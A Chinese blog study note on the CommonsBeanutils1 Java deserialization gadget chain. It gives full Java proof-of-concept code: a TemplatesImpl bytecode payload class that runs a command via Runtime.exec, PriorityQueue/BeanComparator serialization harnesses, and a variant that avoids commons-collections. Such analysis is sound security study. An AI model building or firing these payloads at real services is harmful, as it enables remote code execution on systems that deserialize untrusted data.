CommonsBeanutils1 分析笔记
1、PropertyUtils.getProperty
commons-beanutils-1.9.2.jar 包下的 PropertyUtils#getProperty方法相对于getXxx方法,取得其值。
来试下该方法功能
public class Person {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
...
public class PropertyUtilsTest {
@Test
public void test() throws Exception{
Person p = new Person();
p.setName("liangzi");
String name =(String) PropertyUtils.getProperty(p, "name");
System.out.println(name);
}
}

我们知道通过 TemplatesImpl类 bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,可以造成任意命令执行。
在TemplatesImpl 类中存在 getOutputProperties方法

可以通过PropertyUtils.getProperty 来构造如下代码
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test;
import java.lang.reflect.Field;
public class TempletesTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
PropertyUtils.getProperty(templates,"outputProperties");
}
}
...
RunCmd 恶意类
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class RunCmd extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c","notepad.exe"});
} catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

正常执行命令。
2、构造poc
1、通过ysoserial 可以发现使用了 PriorityQueue 对象,所以我们来到 PriorityQueue#readObject 方法

2、在 BeanComparator 类中存在 compare 方法,该方法中有使用 PropertyUtils.getProperty 方法

我们目标是要进去到 PropertyUtils.getProperty 方法中,首先需要有调用 compare的地方,同时 property!=null,继续回到 PriorityQueue#readObject 中,看到 heapify() 方法
流程如下
heapify -> siftDown -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right])
comparator 由 PriorityQueue 构造方法传入,所以我们传入 BeanComparator 对象即可进去到BeanComparator 类的 compare 方法
构造payload
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
3、排除 commons-collections 包构造poc
在maven中加入如下配置,再次运行上面的poc
<exclusions>
<exclusion>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
</exclusion>
</exclusions>

java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator

所以这里我们要传入非 collections包中的 ComparableComparator
需要满足下面条件
- 实现
java.util.Comparator接口 - 实现
java.io.Serializable接口
获取实现了comparator 并可序列化的类
import org.junit.Test;
import org.reflections.Reflections;
import java.io.Serializable;
import java.util.Comparator;
import java.util.Set;
public class ClassUtil {
@Test
public void test() {
Reflections reflections1 = new Reflections("java.*");
Set<Class<? extends Comparator>> comparatorclasses = reflections1.getSubTypesOf(Comparator.class);
Reflections reflections2 = new Reflections("java.*");
Set<Class<? extends Serializable>> serializableclasses = reflections1.getSubTypesOf(Serializable.class);
for (Class clazz : comparatorclasses) {
// System.out.println("Found: " + clazz.getName());
for (Class serialclazz : serializableclasses){
if(serialclazz.getName().equals(clazz.getName())){
System.out.println(clazz.getName());
}
}
}
}
}
得出
java.util.Comparators$NaturalOrderComparator
javax.swing.plaf.basic.BasicTreeUI$TreeTransferHandler
java.util.Collections$ReverseComparator2
java.util.Comparators$NullComparator
java.util.Collections$ReverseComparator
java.lang.String$CaseInsensitiveComparator
javax.swing.LayoutComparator
java.util.Collections.java 类

package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator(null,Collections.reverseOrder());// 或 BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}

4、参考
- https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
- https://blog.knownsec.com/2016/03/java-deserialization-commonsbeanutils-pop-chains-analysis/
CommonsBeanutils1 分析笔记的更多相关文章
- 3.View绘制分析笔记之onLayout
上一篇文章我们了解了View的onMeasure,那么今天我们继续来学习Android View绘制三部曲的第二步,onLayout,布局. ViewRootImpl#performLayout pr ...
- 4.View绘制分析笔记之onDraw
上一篇文章我们了解了View的onLayout,那么今天我们来学习Android View绘制三部曲的最后一步,onDraw,绘制. ViewRootImpl#performDraw private ...
- 2.View绘制分析笔记之onMeasure
今天主要学习记录一下Android View绘制三部曲的第一步,onMeasure,测量. 起源 在Activity中,所有的View都是DecorView的子View,然后DecorView又是被V ...
- 1.Android 视图及View绘制分析笔记之setContentView
自从1983年第一台图形用户界面的个人电脑问世以来,几乎所有的PC操作系统都支持可视化操作,Android也不例外.对于所有Android Developer来说,我们接触最多的控件就是View.通常 ...
- zeromq源码分析笔记之线程间收发命令(2)
在zeromq源码分析笔记之架构说到了zmq的整体架构,可以看到线程间通信包括两类,一类是用于收发命令,告知对象该调用什么方法去做什么事情,命令的结构由command_t结构体确定:另一类是socke ...
- glusterfs 4.0.1 api 分析笔记1
一般来说,我们写个客户端程序大概的样子是这样的: /* glfs_example.c */ // gcc -o glfs_example glfs_example.c -L /usr/lib64/ - ...
- SEH分析笔记(X64篇)
SEH分析笔记(X64篇) v1.0.0 boxcounter 历史: v1.0.0, 2011-11-4:最初版本. [不介意转载,但请注明出处 www.boxcounter.com 附件里有本文 ...
- 【转载】Instagram架构分析笔记
原文地址:http://chengxu.org/p/401.html Instagram 架构分析笔记 全部 技术博客 Instagram团队上个月才迎来第 7 名员工,是的,7个人的团队.作为 iP ...
- CentOS下使用Iptraf进行网络流量的分析笔记
CentOS下使用Iptraf进行网络流量的分析笔记 一.概述 Iptraf是一款linux环境下,监控网络流量的一款绝佳的免费小软件. 本博客其他随笔参考: Centos安装流量监控工具iftop笔 ...
随机推荐
- DataGrid列显示隐藏配置
1.列右键事件 private void data1_MouseRightButtonDown(object sender, MouseButtonEventArgs e) { ContextMenu ...
- CTF_论剑场_Web25
点击xiazai后面发现404,没办法打开,抓包也没发现啥,用御剑扫描了下发现还有新的页面 点击会跳转到flag.php这个文件,这里应该才是真正的提交页面 另外前面提示了一个ziidan.txt在s ...
- 3D性能优化 | 说一说glTF文件压缩
引言 最近做T级互动,需要使用到3D模型.相信大家和我一样,在开始着手的时候,一定会有这么些问题: 1.如何选择3D模型的导出格式 2.如何对模型文件进行优化 3.在大流量的项目中兼容性怎么样 让我们 ...
- php本地文件包含 Writeup
目录 本地文件包含 LFI本地文件包含案例一 LFI本地文件包含案例二 本地文件包含简介 文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码. ...
- mysql使用 分区表使用,常用sql
mysql使用 分区表使用,常用sql 前言 本文的原文连接是: https://blog.csdn.net/freewebsys/article/details/84839478未经博主允许不得转载 ...
- NOIP 模拟 $11\; \rm biology$
题解 首先对 \(a\) 离散化,则可推出转移方程 \[dp_{i,j}=\max\{{dp_{{i^{'}},{j^{'}}}+|i-i^{'}|+|j-j^{'}|}\}+b_{i,j} \;\; ...
- SSM自学笔记(二)
3.SpringMVC入门 1.Spring与Web环境集成 1.1 ApplicationContext应用上下文获取方式 应用上下文对象是通过new ClasspathXmlApplication ...
- Mysql5.6.47开放远程访问(修改远程访问密码)
1.登录mysql mysql -u root -p 然后输入密码,登录进去mysql: 2.切换数据库 use mysql; 3.修改权限 GRANT ALL PRIVILEGES ON *.* T ...
- 一 · 路由事件的三种方式/策略(冒泡 直接 隧道)
WPF中的路由事件是沿着VisualTree传递的,作用是用来调用应用程序的元素树上的各种监听器上的处理程序. (1)冒泡,这种事件处理方式是从源元素向上级流过去,直到到达根节点即顶层节点,一般为最外 ...
- Socket 网络编程和IO模型
最近做了一个织机数据采集的服务器程序. 结构也非常简单,织机上的嵌入式设备,会通过Tcp 不停的往服务器发送一些即时数据.织机大改有个几十台到几百台不定把 刨去业务,先分析一下网络层的大概情况.每台织 ...